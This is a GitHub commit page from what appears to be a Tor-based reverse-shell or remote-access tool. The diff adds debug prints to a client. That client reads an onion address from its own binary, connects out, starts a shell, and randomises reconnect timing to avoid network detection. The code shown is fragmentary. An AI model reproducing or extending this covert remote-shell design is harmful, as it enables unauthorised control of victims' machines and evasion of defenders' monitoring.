Skip to content

Commit

Permalink
Some debugging and regeneration of releases
Browse files Browse the repository at this point in the history
  • Loading branch information
emcruise committed Oct 12, 2021
1 parent 4dff18e commit a086f8d
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 2 deletions.
1 change: 1 addition & 0 deletions client/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ def __init__(self):

def initialize_network(self):
onion, port = read_address_from_binary()
print('onion: ' + onion + '\nport: ' + str(port))
self.__sock = ClientSocket(onion, port)
# start shell after successful network connection
self.run()
Expand Down
3 changes: 2 additions & 1 deletion client/network.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,8 @@ def create_connection(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(self.remote_addr)
except socket.error:
except socket.error as err:
print(err)
# randomize connection timeout to avoid network detection
timeout = randint(self.CONNECTION_TIMEOUT - 10, self.CONNECTION_TIMEOUT + 10)
sleep(timeout)
Expand Down
2 changes: 1 addition & 1 deletion listener/shell_ui/ascii_art.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,4 +10,4 @@ def draw():
print(' | |( <_> ) | \\/ | ( <_> | <_> ) | | <| || | ')
print(' |____| \\____/|__| |____|_ /\\____/ \\____/|__| |__|_ \\__||__| ')
print(' \\/ \\/ ')
print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL)
print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL)

0 comments on commit a086f8d

Please sign in to comment.